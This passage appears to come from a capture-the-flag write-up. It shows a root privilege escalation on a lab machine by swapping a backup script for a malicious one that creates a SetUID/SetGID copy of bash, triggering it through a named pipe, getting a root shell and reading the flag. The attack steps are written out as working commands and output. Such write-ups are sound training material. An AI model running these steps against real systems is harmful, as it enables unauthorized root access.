max@race:/usr/local/share/race-scripts$ mv offsite-backup.sh pipe

And create a malicious script:

max@race:/usr/local/share/race-scripts$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchmod 6777 /tmp/0xdf' | tee offsite-backup.sh
#!/bin/bash

cp /bin/bash /tmp/0xdf
chmod 6777 /tmp/0xdf
max@race:/usr/local/share/race-scripts$ chmod +x offsite-backup.sh 

I’ll write to the pipe:

max@race:/usr/local/share/race-scripts$ cat backup/offsite-backup.sh > pipe 
max@race:/usr/local/share/race-scripts$ ls -l /tmp/0xdf 
-rwsrwsrwx 1 root root 1396520 Aug 29 20:51 /tmp/0xdf

And there’s a SetUID / SetGID bash for me. I’ll get a shell:

max@race:/usr/local/share/race-scripts$ /tmp/0xdf -p
0xdf-5.1#

And grab the flag:

0xdf-5.1# cat /root/root.txt
372abde9************************